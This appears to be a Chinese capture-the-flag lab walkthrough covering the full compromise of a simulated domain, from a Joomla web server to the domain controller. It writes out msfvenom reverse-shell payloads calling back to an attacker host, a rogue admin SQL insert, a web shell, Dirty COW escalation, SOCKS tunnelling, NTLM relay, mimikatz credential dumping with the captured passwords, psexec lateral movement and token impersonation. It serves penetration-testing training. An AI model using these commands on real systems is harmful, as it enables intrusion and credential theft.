rickkk
- 关注
目标:获取域控上的机密文件
0x01 外网渗透
环境配置
网络拓补
1.1 信息搜集
首先是nmap扫描
nmap -T4 -sT -sV 192.168.1.110
访问80端口发现是joomlaCMS,目录扫描发现
1.2 连接db创建超级用户
在configuration.php~
里面找到了数据库账号密码,成功连接数据库
但是用户密码是加密存储的,只能尝试增加新用户,或者覆盖用户。
在joomla官网找到文档如何恢复或重置管理员密码?可以添加超级管理员
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
密码为secret。
1.3 后台挂马
成功进入后台后,在下图发现可以更改页面的php代码
于是插入一句话蚁剑连接(蚁剑插件可绕过disabled_function)
1.4 msf上线【failed】
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f elf > shell.elf
use exploit/multi/handler // 使用模块
show options // 配置
set LHOST 192.168.1.111
set LPORT 5555
set payload linux/x64/meterpreter/reverse_tcp // 设置测试的载荷
exploit //
将后门通过shell上传到内网机器后执行elf文件,发现没有回显,在排除端口号ip地址等错误后,猜测是需要进行提权,先进行信息搜集再说吧。
0x02 内网渗透
2.1 信息搜集
uname -a # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则
信息搜集结果整理
$ uname -a
Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yy tty1 31Oct19 1:42 0.24s 0.23s -bash
$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.93.0 * 255.255.255.0 U 0 0 0 ens33
$ arp -a
? (192.168.93.1) at 00:50:56:c0:00:02 [ether] on ens33
? (192.168.93.100) at 00:0c:29:32:46:d3 [ether] on ens33
$ ip addr
inet 192.168.93.120/24 brd 192.168.93.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feab:32ac/64 scope link
valid_lft forever preferred_lft forever
令人疑惑的是,我们之前访问的是192.168.1.110
,应该使用了一个反向代理,继续信息搜集
在/tmp/mysql/test.txt
中发现一组账号密码(以后记得看tmp目录)
adduser wwwuser
passwd wwwuser_123Aqx
发现可以ssh上centos,连上后执行后门shell.elf
,结果也是权限不够,只能提权了
2.2 权限提升+msf上线
信息搜集可得
Linux version 2.6.32-431.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Fri Nov 22 03:15:09 UTC 2013
版本号2.6.32,因而可以尝试脏牛linux本地提权
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
将dirty.c上传到/tmp目录下(可执行),进行提权操作
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456 # ./dirty <password>
生成了一个密码为123456的账户
接下来修改后门shell.elf
权限
chmod 777 shell.elf
执行后门即可成功监听
这里有个坑点,如果你的kali机之前没上桥接模式的网卡,那么msf就监听不到,因为centos无法ping通kali
2.3 路由转发与反向代理
在攻击机上执行如下:
route add 192.168.93.0 255.255.255.0 1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
当然也可以在session内进行路由配置
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.4.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加
在CentOS上传ew_for_linux64,并执行如下命令:
./ew_for_linux64 -s rssocks -d 192.168.1.111 -e 1234
ew下载地址: https://github.com/idlefire/ew
2.4 内网扫描
use auxiliary/scanner/discovery/udp_probe
set threads 10(自己的环境可以适当调高)
run
扫描结果如下:
因内存不够,所以少开了一台虚拟机
2.5 NTLM relay攻击
关于NTLM原理可以参考这篇文章
小插曲:靶场并未安装AD,需要自己配置
攻击思路:
攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。
首先生成后门
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.11 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
将马上传到centos,之后把impacket上传到centos并进入examples目录执行以下命令
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
执行成功后会在centos启动smb和http服务,由于nginx占用80端口,因此要先关闭nginx
nginx -s stop
之后使用win7访问192.168.93.100,并输入密码,smbrelayx.py
就会抓取用户的Net-NTLM Hash重放给内网的Windows2008,成功后就会在上面上传我们的shell.exe
这时候就可以在msf上开启对Windows2008的监听,等待上线了(注意要先监听,后用win7访问服务器)
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
2.6 定位域管理员
PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员
查看管理员后,使用kiwi模块抓取密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
成功抓取
WIN2008\Administrator:123qwe!ASD
TEST\administrator:zxcASDqw123!!
控制其他主机
由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机
msf命令如下
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run
进攻域控-win 2012
由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。
在win2008的session上窃取管理员令牌
use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"
这样就有了域控的令牌,因此可以访问2021,最后
dir \\192.168.93.10\C$\Users\Administrator\Documents
发现了机密文件flag.txt
,至此拿到flag
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)